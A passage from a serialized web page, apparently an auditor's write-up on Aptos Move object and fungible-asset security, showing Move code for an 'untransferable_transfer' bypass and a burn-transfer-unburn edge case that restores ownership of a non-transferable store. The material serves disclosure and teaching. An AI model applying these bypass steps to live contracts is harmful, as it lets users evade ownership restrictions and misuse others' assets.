+",{"type":22,"tag":101,"props":3645,"children":3646},{"style":1544},[3647],{"type":27,"value":3648}," 1",{"type":22,"tag":101,"props":3650,"children":3651},{"style":120},[3652],{"type":27,"value":1520},{"type":22,"tag":101,"props":3654,"children":3655},{"class":103,"line":398},[3656,3660,3664],{"type":22,"tag":101,"props":3657,"children":3658},{"style":120},[3659],{"type":27,"value":3581},{"type":22,"tag":101,"props":3661,"children":3662},{"style":166},[3663],{"type":27,"value":614},{"type":22,"tag":101,"props":3665,"children":3666},{"style":120},[3667],{"type":27,"value":1884},{"type":22,"tag":101,"props":3669,"children":3670},{"class":103,"line":428},[3671,3676],{"type":22,"tag":101,"props":3672,"children":3673},{"style":926},[3674],{"type":27,"value":3675}," assert!",{"type":22,"tag":101,"props":3677,"children":3678},{"style":120},[3679],{"type":27,"value":1850},{"type":22,"tag":101,"props":3681,"children":3682},{"class":103,"line":997},[3683,3688,3692,3697,3701,3706],{"type":22,"tag":101,"props":3684,"children":3685},{"style":126},[3686],{"type":27,"value":3687}," exists",{"type":22,"tag":101,"props":3689,"children":3690},{"style":120},[3691],{"type":27,"value":123},{"type":22,"tag":101,"props":3693,"children":3694},{"style":114},[3695],{"type":27,"value":3696},"ObjectCore",{"type":22,"tag":101,"props":3698,"children":3699},{"style":120},[3700],{"type":27,"value":1618},{"type":22,"tag":101,"props":3702,"children":3703},{"style":126},[3704],{"type":27,"value":3705},"current_address",{"type":22,"tag":101,"props":3707,"children":3708},{"style":120},[3709],{"type":27,"value":1706},{"type":22,"tag":101,"props":3711,"children":3712},{"class":103,"line":1032},[3713,3718,3722,3726],{"type":22,"tag":101,"props":3714,"children":3715},{"style":120},[3716],{"type":27,"value":3717}," error",{"type":22,"tag":101,"props":3719,"children":3720},{"style":166},[3721],{"type":27,"value":970},{"type":22,"tag":101,"props":3723,"children":3724},{"style":926},[3725],{"type":27,"value":3038},{"type":22,"tag":101,"props":3727,"children":3728},{"style":120},[3729],{"type":27,"value":3730},"(ENOT_OBJECT_OWNER),\n",{"type":22,"tag":101,"props":3732,"children":3733},{"class":103,"line":1063},[3734],{"type":22,"tag":101,"props":3735,"children":3736},{"style":120},[3737],{"type":27,"value":3738}," );\n",{"type":22,"tag":101,"props":3740,"children":3741},{"class":103,"line":1071},[3742,3747,3751,3755,3760,3764,3768,3772,3776],{"type":22,"tag":101,"props":3743,"children":3744},{"style":108},[3745],{"type":27,"value":3746}," let",{"type":22,"tag":101,"props":3748,"children":3749},{"style":126},[3750],{"type":27,"value":1684},{"type":22,"tag":101,"props":3752,"children":3753},{"style":166},[3754],{"type":27,"value":960},{"type":22,"tag":101,"props":3756,"children":3757},{"style":126},[3758],{"type":27,"value":3759}," borrow_global",{"type":22,"tag":101,"props":3761,"children":3762},{"style":120},[3763],{"type":27,"value":123},{"type":22,"tag":101,"props":3765,"children":3766},{"style":114},[3767],{"type":27,"value":3696},{"type":22,"tag":101,"props":3769,"children":3770},{"style":120},[3771],{"type":27,"value":1618},{"type":22,"tag":101,"props":3773,"children":3774},{"style":126},[3775],{"type":27,"value":3705},{"type":22,"tag":101,"props":3777,"children":3778},{"style":120},[3779],{"type":27,"value":994},{"type":22,"tag":101,"props":3781,"children":3782},{"class":103,"line":1110},[3783,3788,3792,3796,3800],{"type":22,"tag":101,"props":3784,"children":3785},{"style":126},[3786],{"type":27,"value":3787}," current_address",{"type":22,"tag":101,"props":3789,"children":3790},{"style":166},[3791],{"type":27,"value":960},{"type":22,"tag":101,"props":3793,"children":3794},{"style":126},[3795],{"type":27,"value":1684},{"type":22,"tag":101,"props":3797,"children":3798},{"style":166},[3799],{"type":27,"value":231},{"type":22,"tag":101,"props":3801,"children":3802},{"style":120},[3803],{"type":27,"value":3804},"owner;\n",{"type":22,"tag":101,"props":3806,"children":3807},{"class":103,"line":1118},[3808],{"type":22,"tag":101,"props":3809,"children":3810},{"style":120},[3811],{"type":27,"value":3812}," };\n",{"type":22,"tag":101,"props":3814,"children":3815},{"class":103,"line":1158},[3816],{"type":22,"tag":101,"props":3817,"children":3818},{"style":120},[3819],{"type":27,"value":188},{"type":22,"tag":23,"props":3821,"children":3822},{},[3823,3825,3830],{"type":27,"value":3824},"This could allow for bypassing assumptions about ",{"type":22,"tag":30,"props":3826,"children":3828},{"className":3827},[],[3829],{"type":27,"value":1252},{"type":27,"value":3831}," true ownership and its non-transferability.",{"type":22,"tag":91,"props":3833,"children":3835},{"className":93,"code":3834,"language":95,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[3836],{"type":22,"tag":30,"props":3837,"children":3838},{"__ignoreMap":7},[3839,3897,3951,3995,4043,4050,4095,4103],{"type":22,"tag":101,"props":3840,"children":3841},{"class":103,"line":104},[3842,3846,3850,3855,3859,3864,3868,3872,3876,3880,3885,3889,3893],{"type":22,"tag":101,"props":3843,"children":3844},{"style":126},[3845],{"type":27,"value":821},{"type":22,"tag":101,"props":3847,"children":3848},{"style":126},[3849],{"type":27,"value":826},{"type":22,"tag":101,"props":3851,"children":3852},{"style":926},[3853],{"type":27,"value":3854}," untransferable_transfer",{"type":22,"tag":101,"props":3856,"children":3857},{"style":120},[3858],{"type":27,"value":980},{"type":22,"tag":101,"props":3860,"children":3861},{"style":126},[3862],{"type":27,"value":3863},"caller",{"type":22,"tag":101,"props":3865,"children":3866},{"style":166},[3867],{"type":27,"value":169},{"type":22,"tag":101,"props":3869,"children":3870},{"style":166},[3871],{"type":27,"value":870},{"type":22,"tag":101,"props":3873,"children":3874},{"style":126},[3875],{"type":27,"value":875},{"type":22,"tag":101,"props":3877,"children":3878},{"style":120},[3879],{"type":27,"value":758},{"type":22,"tag":101,"props":3881,"children":3882},{"style":126},[3883],{"type":27,"value":3884},"receipient",{"type":22,"tag":101,"props":3886,"children":3887},{"style":166},[3888],{"type":27,"value":169},{"type":22,"tag":101,"props":3890,"children":3891},{"style":126},[3892],{"type":27,"value":3540},{"type":22,"tag":101,"props":3894,"children":3895},{"style":120},[3896],{"type":27,"value":1463},{"type":22,"tag":101,"props":3898,"children":3899},{"class":103,"line":157},[3900,3904,3909,3913,3917,3921,3926,3930,3934,3938,3942,3946],{"type":22,"tag":101,"props":3901,"children":3902},{"style":108},[3903],{"type":27,"value":950},{"type":22,"tag":101,"props":3905,"children":3906},{"style":126},[3907],{"type":27,"value":3908}," constructor_ref",{"type":22,"tag":101,"props":3910,"children":3911},{"style":166},[3912],{"type":27,"value":960},{"type":22,"tag":101,"props":3914,"children":3915},{"style":120},[3916],{"type":27,"value":1684},{"type":22,"tag":101,"props":3918,"children":3919},{"style":166},[3920],{"type":27,"value":970},{"type":22,"tag":101,"props":3922,"children":3923},{"style":926},[3924],{"type":27,"value":3925},"create_object",{"type":22,"tag":101,"props":3927,"children":3928},{"style":120},[3929],{"type":27,"value":1949},{"type":22,"tag":101,"props":3931,"children":3932},{"style":166},[3933],{"type":27,"value":970},{"type":22,"tag":101,"props":3935,"children":3936},{"style":926},[3937],{"type":27,"value":1958},{"type":22,"tag":101,"props":3939,"children":3940},{"style":120},[3941],{"type":27,"value":980},{"type":22,"tag":101,"props":3943,"children":3944},{"style":126},[3945],{"type":27,"value":3863},{"type":22,"tag":101,"props":3947,"children":3948},{"style":120},[3949],{"type":27,"value":3950},"));\n",{"type":22,"tag":101,"props":3952,"children":3953},{"class":103,"line":182},[3954,3958,3962,3966,3970,3974,3979,3983,3987,3991],{"type":22,"tag":101,"props":3955,"children":3956},{"style":108},[3957],{"type":27,"value":950},{"type":22,"tag":101,"props":3959,"children":3960},{"style":126},[3961],{"type":27,"value":3301},{"type":22,"tag":101,"props":3963,"children":3964},{"style":166},[3965],{"type":27,"value":960},{"type":22,"tag":101,"props":3967,"children":3968},{"style":120},[3969],{"type":27,"value":1684},{"type":22,"tag":101,"props":3971,"children":3972},{"style":166},[3973],{"type":27,"value":970},{"type":22,"tag":101,"props":3975,"children":3976},{"style":926},[3977],{"type":27,"value":3978},"address_from_constructor_ref",{"type":22,"tag":101,"props":3980,"children":3981},{"style":120},[3982],{"type":27,"value":980},{"type":22,"tag":101,"props":3984,"children":3985},{"style":166},[3986],{"type":27,"value":985},{"type":22,"tag":101,"props":3988,"children":3989},{"style":126},[3990],{"type":27,"value":2132},{"type":22,"tag":101,"props":3992,"children":3993},{"style":120},[3994],{"type":27,"value":994},{"type":22,"tag":101,"props":3996,"children":3997},{"class":103,"line":367},[3998,4002,4006,4010,4015,4019,4023,4027,4031,4035,4039],{"type":22,"tag":101,"props":3999,"children":4000},{"style":108},[4001],{"type":27,"value":950},{"type":22,"tag":101,"props":4003,"children":4004},{"style":126},[4005],{"type":27,"value":149},{"type":22,"tag":101,"props":4007,"children":4008},{"style":166},[4009],{"type":27,"value":960},{"type":22,"tag":101,"props":4011,"children":4012},{"style":120},[4013],{"type":27,"value":4014}," primary_fungible_store",{"type":22,"tag":101,"props":4016,"children":4017},{"style":166},[4018],{"type":27,"value":970},{"type":22,"tag":101,"props":4020,"children":4021},{"style":926},[4022],{"type":27,"value":2021},{"type":22,"tag":101,"props":4024,"children":4025},{"style":120},[4026],{"type":27,"value":980},{"type":22,"tag":101,"props":4028,"children":4029},{"style":126},[4030],{"type":27,"value":3347},{"type":22,"tag":101,"props":4032,"children":4033},{"style":120},[4034],{"type":27,"value":758},{"type":22,"tag":101,"props":4036,"children":4037},{"style":926},[4038],{"type":27,"value":1975},{"type":22,"tag":101,"props":4040,"children":4041},{"style":120},[4042],{"type":27,"value":1980},{"type":22,"tag":101,"props":4044,"children":4045},{"class":103,"line":398},[4046],{"type":22,"tag":101,"props":4047,"children":4048},{"emptyLinePlaceholder":15},[4049],{"type":27,"value":1581},{"type":22,"tag":101,"props":4051,"children":4052},{"class":103,"line":428},[4053,4058,4062,4067,4071,4075,4079,4083,4087,4091],{"type":22,"tag":101,"props":4054,"children":4055},{"style":120},[4056],{"type":27,"value":4057}," object",{"type":22,"tag":101,"props":4059,"children":4060},{"style":166},[4061],{"type":27,"value":970},{"type":22,"tag":101,"props":4063,"children":4064},{"style":926},[4065],{"type":27,"value":4066},"transfer_raw",{"type":22,"tag":101,"props":4068,"children":4069},{"style":120},[4070],{"type":27,"value":980},{"type":22,"tag":101,"props":4072,"children":4073},{"style":126},[4074],{"type":27,"value":3863},{"type":22,"tag":101,"props":4076,"children":4077},{"style":120},[4078],{"type":27,"value":758},{"type":22,"tag":101,"props":4080,"children":4081},{"style":126},[4082],{"type":27,"value":3347},{"type":22,"tag":101,"props":4084,"children":4085},{"style":120},[4086],{"type":27,"value":758},{"type":22,"tag":101,"props":4088,"children":4089},{"style":126},[4090],{"type":27,"value":3884},{"type":22,"tag":101,"props":4092,"children":4093},{"style":120},[4094],{"type":27,"value":994},{"type":22,"tag":101,"props":4096,"children":4097},{"class":103,"line":997},[4098],{"type":22,"tag":101,"props":4099,"children":4100},{"style":2215},[4101],{"type":27,"value":4102}," //receipient can interact with store by using their signer\n",{"type":22,"tag":101,"props":4104,"children":4105},{"class":103,"line":1032},[4106],{"type":22,"tag":101,"props":4107,"children":4108},{"style":120},[4109],{"type":27,"value":188},{"type":22,"tag":23,"props":4111,"children":4112},{},[4113,4115,4122],{"type":27,"value":4114},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":22,"tag":80,"props":4116,"children":4119},{"href":4117,"rel":4118},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[84],[4120],{"type":27,"value":4121},"edge case",{"type":27,"value":4123}," involving the transfer of a non-transferable fungible store.",{"type":22,"tag":91,"props":4125,"children":4127},{"className":93,"code":4126,"language":95,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[4128],{"type":22,"tag":30,"props":4129,"children":4130},{"__ignoreMap":7},[4131,4197,4260,4308,4319,4355,4375,4382,4389,4404,4411,4439],{"type":22,"tag":101,"props":4132,"children":4133},{"class":103,"line":104},[4134,4138,4142,4147,4151,4155,4159,4164,4168,4173,4177,4181,4185,4189,4193],{"type":22,"tag":101,"props":4135,"children":4136},{"style":126},[4137],{"type":27,"value":821},{"type":22,"tag":101,"props":4139,"children":4140},{"style":126},[4141],{"type":27,"value":826},{"type":22,"tag":101,"props":4143,"children":4144},{"style":926},[4145],{"type":27,"value":4146}," transfer_with_ref",{"type":22,"tag":101,"props":4148,"children":4149},{"style":120},[4150],{"type":27,"value":980},{"type":22,"tag":101,"props":4152,"children":4153},{"style":108},[4154],{"type":27,"value":2550},{"type":22,"tag":101,"props":4156,"children":4157},{"style":166},[4158],{"type":27,"value":169},{"type":22,"tag":101,"props":4160,"children":4161},{"style":114},[4162],{"type":27,"value":4163}," LinearTransferRef",{"type":22,"tag":101,"props":4165,"children":4166},{"style":120},[4167],{"type":27,"value":758},{"type":22,"tag":101,"props":4169,"children":4170},{"style":126},[4171],{"type":27,"value":4172},"to",{"type":22,"tag":101,"props":4174,"children":4175},{"style":166},[4176],{"type":27,"value":169},{"type":22,"tag":101,"props":4178,"children":4179},{"style":126},[4180],{"type":27,"value":3540},{"type":22,"tag":101,"props":4182,"children":4183},{"style":120},[4184],{"type":27,"value":901},{"type":22,"tag":101,"props":4186,"children":4187},{"style":126},[4188],{"type":27,"value":906},{"type":22,"tag":101,"props":4190,"children":4191},{"style":114},[4192],{"type":27,"value":3194},{"type":22,"tag":101,"props":4194,"children":4195},{"style":120},[4196],{"type":27,"value":154},{"type":22,"tag":101,"props":4198,"children":4199},{"class":103,"line":157},[4200,4204,4208,4212,4217,4221,4226,4230,4234,4238,4243,4247,4251,4255],{"type":22,"tag":101,"props":4201,"children":4202},{"style":926},[4203],{"type":27,"value":1528},{"type":22,"tag":101,"props":4205,"children":4206},{"style":120},[4207],{"type":27,"value":980},{"type":22,"tag":101,"props":4209,"children":4210},{"style":166},[4211],{"type":27,"value":2109},{"type":22,"tag":101,"props":4213,"children":4214},{"style":126},[4215],{"type":27,"value":4216},"exists",{"type":22,"tag":101,"props":4218,"children":4219},{"style":120},[4220],{"type":27,"value":123},{"type":22,"tag":101,"props":4222,"children":4223},{"style":114},[4224],{"type":27,"value":4225},"Untransferable",{"type":22,"tag":101,"props":4227,"children":4228},{"style":120},[4229],{"type":27,"value":1618},{"type":22,"tag":101,"props":4231,"children":4232},{"style":108},[4233],{"type":27,"value":2550},{"type":22,"tag":101,"props":4235,"children":4236},{"style":166},[4237],{"type":27,"value":231},{"type":22,"tag":101,"props":4239,"children":4240},{"style":108},[4241],{"type":27,"value":4242},"self",{"type":22,"tag":101,"props":4244,"children":4245},{"style":120},[4246],{"type":27,"value":2137},{"type":22,"tag":101,"props":4248,"children":4249},{"style":166},[4250],{"type":27,"value":970},{"type":22,"tag":101,"props":4252,"children":4253},{"style":926},[4254],{"type":27,"value":3038},{"type":22,"tag":101,"props":4256,"children":4257},{"style":120},[4258],{"type":27,"value":4259},"(ENOT_MOVABLE));\n",{"type":22,"tag":101,"props":4261,"children":4262},{"class":103,"line":182},[4263,4267,4271,4275,4280,4284,4288,4292,4296,4300,4304],{"type":22,"tag":101,"props":4264,"children":4265},{"style":108},[4266],{"type":27,"value":950},{"type":22,"tag":101,"props":4268,"children":4269},{"style":126},[4270],{"type":27,"value":1684},{"type":22,"tag":101,"props":4272,"children":4273},{"style":166},[4274],{"type":27,"value":960},{"type":22,"tag":101,"props":4276,"children":4277},{"style":126},[4278],{"type":27,"value":4279}," borrow_global_mut",{"type":22,"tag":101,"props":4281,"children":4282},{"style":120},[4283],{"type":27,"value":123},{"type":22,"tag":101,"props":4285,"children":4286},{"style":114},[4287],{"type":27,"value":3696},{"type":22,"tag":101,"props":4289,"children":4290},{"style":120},[4291],{"type":27,"value":1618},{"type":22,"tag":101,"props":4293,"children":4294},{"style":108},[4295],{"type":27,"value":2550},{"type":22,"tag":101,"props":4297,"children":4298},{"style":166},[4299],{"type":27,"value":231},{"type":22,"tag":101,"props":4301,"children":4302},{"style":108},[4303],{"type":27,"value":4242},{"type":22,"tag":101,"props":4305,"children":4306},{"style":120},[4307],{"type":27,"value":994},{"type":22,"tag":101,"props":4309,"children":4310},{"class":103,"line":367},[4311,4315],{"type":22,"tag":101,"props":4312,"children":4313},{"style":926},[4314],{"type":27,"value":1528},{"type":22,"tag":101,"props":4316,"children":4317},{"style":120},[4318],{"type":27,"value":1850},{"type":22,"tag":101,"props":4320,"children":4321},{"class":103,"line":398},[4322,4327,4331,4336,4341,4346,4350],{"type":22,"tag":101,"props":4323,"children":4324},{"style":126},[4325],{"type":27,"value":4326}," object",{"type":22,"tag":101,"props":4328,"children":4329},{"style":166},[4330],{"type":27,"value":231},{"type":22,"tag":101,"props":4332,"children":4333},{"style":120},[4334],{"type":27,"value":4335},"owner ",{"type":22,"tag":101,"props":4337,"children":4338},{"style":166},[4339],{"type":27,"value":4340},"==",{"type":22,"tag":101,"props":4342,"children":4343},{"style":108},[4344],{"type":27,"value":4345}," ref",{"type":22,"tag":101,"props":4347,"children":4348},{"style":166},[4349],{"type":27,"value":231},{"type":22,"tag":101,"props":4351,"children":4352},{"style":120},[4353],{"type":27,"value":4354},"owner,\n",{"type":22,"tag":101,"props":4356,"children":4357},{"class":103,"line":428},[4358,4363,4367,4371],{"type":22,"tag":101,"props":4359,"children":4360},{"style":120},[4361],{"type":27,"value":4362}," error",{"type":22,"tag":101,"props":4364,"children":4365},{"style":166},[4366],{"type":27,"value":970},{"type":22,"tag":101,"props":4368,"children":4369},{"style":926},[4370],{"type":27,"value":3038},{"type":22,"tag":101,"props":4372,"children":4373},{"style":120},[4374],{"type":27,"value":3730},{"type":22,"tag":101,"props":4376,"children":4377},{"class":103,"line":997},[4378],{"type":22,"tag":101,"props":4379,"children":4380},{"style":120},[4381],{"type":27,"value":2406},{"type":22,"tag":101,"props":4383,"children":4384},{"class":103,"line":1032},[4385],{"type":22,"tag":101,"props":4386,"children":4387},{"style":120},[4388],{"type":27,"value":942},{"type":22,"tag":101,"props":4390,"children":4391},{"class":103,"line":1063},[4392,4396,4400],{"type":22,"tag":101,"props":4393,"children":4394},{"style":120},[4395],{"type":27,"value":1915},{"type":22,"tag":101,"props":4397,"children":4398},{"style":166},[4399],{"type":27,"value":614},{"type":22,"tag":101,"props":4401,"children":4402},{"style":120},[4403],{"type":27,"value":1884},{"type":22,"tag":101,"props":4405,"children":4406},{"class":103,"line":1071},[4407],{"type":22,"tag":101,"props":4408,"children":4409},{"style":120},[4410],{"type":27,"value":942},{"type":22,"tag":101,"props":4412,"children":4413},{"class":103,"line":1110},[4414,4418,4422,4426,4430,4435],{"type":22,"tag":101,"props":4415,"children":4416},{"style":126},[4417],{"type":27,"value":4057},{"type":22,"tag":101,"props":4419,"children":4420},{"style":166},[4421],{"type":27,"value":231},{"type":22,"tag":101,"props":4423,"children":4424},{"style":120},[4425],{"type":27,"value":4335},{"type":22,"tag":101,"props":4427,"children":4428},{"style":166},[4429],{"type":27,"value":1511},{"type":22,"tag":101,"props":4431,"children":4432},{"style":126},[4433],{"type":27,"value":4434}," to",{"type":22,"tag":101,"props":4436,"children":4437},{"style":120},[4438],{"type":27,"value":1520},{"type":22,"tag":101,"props":4440,"children":4441},{"class":103,"line":1118},[4442],{"type":22,"tag":101,"props":4443,"children":4444},{"style":120},[4445],{"type":27,"value":188},{"type":22,"tag":23,"props":4447,"children":4448},{},[4449,4451,4456,4458,4463],{"type":27,"value":4450},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":22,"tag":30,"props":4452,"children":4454},{"className":4453},[],[4455],{"type":27,"value":3091},{"type":27,"value":4457},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":22,"tag":30,"props":4459,"children":4461},{"className":4460},[],[4462],{"type":27,"value":875},{"type":27,"value":4464}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":22,"tag":1760,"props":4466,"children":4468},{"id":4467},"references",[4469],{"type":27,"value":4470},"References",{"type":22,"tag":23,"props":4472,"children":4473},{},[4474,4479,4481,4487,4489,4494,4496,4501],{"type":22,"tag":30,"props":4475,"children":4477},{"className":4476},[],[4478],{"type":27,"value":4470},{"type":27,"value":4480}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":22,"tag":30,"props":4482,"children":4484},{"className":4483},[],[4485],{"type":27,"value":4486},"Refs",{"type":27,"value":4488}," are based on the ",{"type":22,"tag":30,"props":4490,"children":4492},{"className":4491},[],[4493],{"type":27,"value":2040},{"type":27,"value":4495}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":22,"tag":30,"props":4497,"children":4499},{"className":4498},[],[4500],{"type":27,"value":2040},{"type":27,"value":4502}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":22,"tag":23,"props":4504,"children":4505},{},[4506,4508,4513,4515,4520,4521,4527,4529,4534,4536,4541],{"type":27,"value":4507},"Let's get back to the ",{"type":22,"tag":30,"props":4509,"children":4511},{"className":4510},[],[4512],{"type":27,"value":1252},{"type":27,"value":4514}," deletion example. Both ",{"type":22,"tag":30,"props":4516,"children":4518},{"className":4517},[],[4519],{"type":27,"value":2574},{"type":27,"value":209},{"type":22,"tag":30,"props":4522,"children":4524},{"className":4523},[],[4525],{"type":27,"value":4526},"fungible_asset::remove_store",{"type":27,"value":4528}," use the same object-specific ",{"type":22,"tag":30,"props":4530,"children":4532},{"className":4531},[],[4533],{"type":27,"value":2505},{"type":27,"value":4535}," permission. It can be created only during object creation. There is no separate ",{"type":22,"tag":30,"props":4537,"children":4539},{"className":4538},[],[4540],{"type":27,"value":2505},{"type":27,"value":4542}," for fungible assets.",{"type":22,"tag":91,"props":4544,"children":4545},{"className":93,"code":2455,"language":95,"meta":7,"style":7},[4546],{"type":22,"tag":30,"props":4547,"children":4548},{"__ignoreMap":7},[4549,4556,4595,4602,4609],{"type":22,"tag":101,"props":4550,"children":4551},{"class":103,"line":104},[4552],{"type":22,"tag":101,"props":4553,"children":4554},{"style":2215},[4555],{"type":27,"value":2467},{"type":22,"tag":101,"props":4557,"children":4558},{"class":103,"line":157},[4559,4563,4567,4571,4575,4579,4583,4587,4591],{"type":22,"tag":101,"props":4560,"children":4561},{"style":126},[4562],{"type":27,"value":821},{"type":22,"tag":101,"props":4564,"children":4565},{"style":126},[4566],{"type":27,"value":826},{"type":22,"tag":101,"props":4568,"children":4569},{"style":926},[4570],{"type":27,"value":2483},{"type":22,"tag":101,"props":4572,"children":4573},{"style":120},[4574],{"type":27,"value":980},{"type":22,"tag":101,"props":4576,"children":4577},{"style":126},[4578],{"type":27,"value":2492},{"type":22,"tag":101,"props":4580,"children":4581},{"style":166},[4582],{"type":27,"value":169},{"type":22,"tag":101,"props":4584,"children":4585},{"style":166},[4586],{"type":27,"value":870},{"type":22,"tag":101,"props":4588,"children":4589},{"style":114},[4590],{"type":27,"value":2505},{"type":22,"tag":101,"props":4592,"children":4593},{"style":120},[4594],{"type":27,"value":2510},{"type":22,"tag":101,"props":4596,"children":4597},{"class":103,"line":182},[4598],{"type":22,"tag":101,"props":4599,"children":4600},{"emptyLinePlaceholder":15},[4601],{"type":27,"value":1581},{"type":22,"tag":101,"props":4603,"children":4604},{"class":103,"line":367},[4605],{"type":22,"tag":101,"props":4606,"children":4607},{"style":2215},[4608],{"type":27,"value":2525},{"type":22,"tag":101,"props":4610,"children":4611},{"class":103,"line":398},[4612,4616,4620,4624,4628,4632,4636,4640],{"type":22,"tag":101,"props":4613,"children":4614},{"style":126},[4615],{"type":27,"value":821},{"type":22,"tag":101,"props":4617,"children":4618},{"style":126},[4619],{"type":27,"value":826},{"type":22,"tag":101,"props":4621,"children":4622},{"style":926},[4623],{"type":27,"value":2541},{"type":22,"tag":101,"props":4625,"children":4626},{"style":120},[4627],{"type":27,"value":980},{"type":22,"tag":101,"props":4629,"children":4630},{"style":108},[4631],{"type":27,"value":2550},{"type":22,"tag":101,"props":4633,"children":4634},{"style":166},[4635],{"type":27,"value":169},{"type":22,"tag":101,"props":4637,"children":4638},{"style":114},[4639],{"type":27,"value":2559},{"type":22,"tag":101,"props":4641,"children":4642},{"style":120},[4643],{"type":27,"value":2510},{"type":22,"tag":23,"props":4645,"children":4646},{},[4647,4649,4654,4656,4662],{"type":27,"value":4648},"On the other hand, the \"frozen\" status of a ",{"type":22,"tag":30,"props":4650,"children":4652},{"className":4651},[],[4653],{"type":27,"value":1252},{"type":27,"value":4655}," is toggled using a ",{"type":22,"tag":30,"props":4657,"children":4659},{"className":4658},[],[4660],{"type":27,"value":4661},"TransferRef",{"type":27,"value":4663},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":22,"tag":91,"props":4665,"children":4667},{"className":93,"code":4666,"language":95,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[4668],{"type":22,"tag":30,"props":4669,"children":4670},{"__ignoreMap":7},[4671,4707,4731,4758,4777],{"type":22,"tag":101,"props":4672,"children":4673},{"class":103,"line":104},[4674,4678,4682,4687,4691,4695,4699,4703],{"type":22,"tag":101,"props":4675,"children":4676},{"style":126},[4677],{"type":27,"value":821},{"type":22,"tag":101,"props":4679,"children":4680},{"style":126},[4681],{"type":27,"value":826},{"type":22,"tag":101,"props":4683,"children":4684},{"style":126},[4685],{"type":27,"value":4686}," set_frozen_flag",{"type":22,"tag":101,"props":4688,"children":4689},{"style":120},[4690],{"type":27,"value":123},{"type":22,"tag":101,"props":4692,"children":4693},{"style":114},[4694],{"type":27,"value":840},{"type":22,"tag":101,"props":4696,"children":4697},{"style":166},[4698],{"type":27,"value":169},{"type":22,"tag":101,"props":4700,"children":4701},{"style":126},[4702],{"type":27,"value":310},{"type":22,"tag":101,"props":4704,"children":4705},{"style":120},[4706],{"type":27,"value":853},{"type":22,"tag":101,"props":4708,"children":4709},{"class":103,"line":157},[4710,4715,4719,4723,4727],{"type":22,"tag":101,"props":4711,"children":4712},{"style":108},[4713],{"type":27,"value":4714}," ref",{"type":22,"tag":101,"props":4716,"children":4717},{"style":166},[4718],{"type":27,"value":169},{"type":22,"tag":101,"props":4720,"children":4721},{"style":166},[4722],{"type":27,"value":870},{"type":22,"tag":101,"props":4724,"children":4725},{"style":114},[4726],{"type":27,"value":4661},{"type":22,"tag":101,"props":4728,"children":4729},{"style":120},[4730],{"type":27,"value":179},{"type":22,"tag":101,"props":4732,"children":4733},{"class":103,"line":182},[4734,4738,4742,4746,4750,4754],{"type":22,"tag":101,"props":4735,"children":4736},{"style":126},[4737],{"type":27,"value":2905},{"type":22,"tag":101,"props":4739,"children":4740},{"style":166},[4741],{"type":27,"value":169},{"type":22,"tag":101,"props":4743,"children":4744},{"style":114},[4745],{"type":27,"value":706},{"type":22,"tag":101,"props":4747,"children":4748},{"style":120},[4749],{"type":27,"value":123},{"type":22,"tag":101,"props":4751,"children":4752},{"style":114},[4753],{"type":27,"value":840},{"type":22,"tag":101,"props":4755,"children":4756},{"style":120},[4757],{"type":27,"value":343},{"type":22,"tag":101,"props":4759,"children":4760},{"class":103,"line":367},[4761,4765,4769,4773],{"type":22,"tag":101,"props":4762,"children":4763},{"style":126},[4764],{"type":27,"value":351},{"type":22,"tag":101,"props":4766,"children":4767},{"style":166},[4768],{"type":27,"value":169},{"type":22,"tag":101,"props":4770,"children":4771},{"style":114},[4772],{"type":27,"value":360},{"type":22,"tag":101,"props":4774,"children":4775},{"style":120},[4776],{"type":27,"value":179},{"type":22,"tag":101,"props":4778,"children":4779},{"class":103,"line":398},[4780],{"type":22,"tag":101,"props":4781,"children":4782},{"style":120},[4783],{"type":27,"value":2510},{"type":22,"tag":23,"props":4785,"children":4786},{},[4787,4788,4793,4794,4799],{"type":27,"value":2007},{"type":22,"tag":30,"props":4789,"children":4791},{"className":4790},[],[4792],{"type":27,"value":2040},{"type":27,"value":2169},{"type":22,"tag":30,"props":4795,"children":4797},{"className":4796},[],[4798],{"type":27,"value":4661},{"type":27,"value":4800}," is used to transfer object ownership:",{"type":22,"tag":91,"props":4802,"children":4804},{"className":93,"code":4803,"language":95,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[4805],{"type":22,"tag":30,"props":4806,"children":4807},{"__ignoreMap":7},[4808,4816,4849,4869],{"type":22,"tag":101,"props":4809,"children":4810},{"class":103,"line":104},[4811],{"type":22,"tag":101,"props":4812,"children":4813},{"style":2215},[4814],{"type":27,"value":4815},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":22,"tag":101,"props":4817,"children":4818},{"class":103,"line":157},[4819,4823,4828,4832,4837,4841,4845],{"type":22,"tag":101,"props":4820,"children":4821},{"style":108},[4822],{"type":27,"value":111},{"type":22,"tag":101,"props":4824,"children":4825},{"style":114},[4826],{"type":27,"value":4827}," TransferRef",{"type":22,"tag":101,"props":4829,"children":4830},{"style":126},[4831],{"type":27,"value":1277},{"type":22,"tag":101,"props":4833,"children":4834},{"style":126},[4835],{"type":27,"value":4836}," 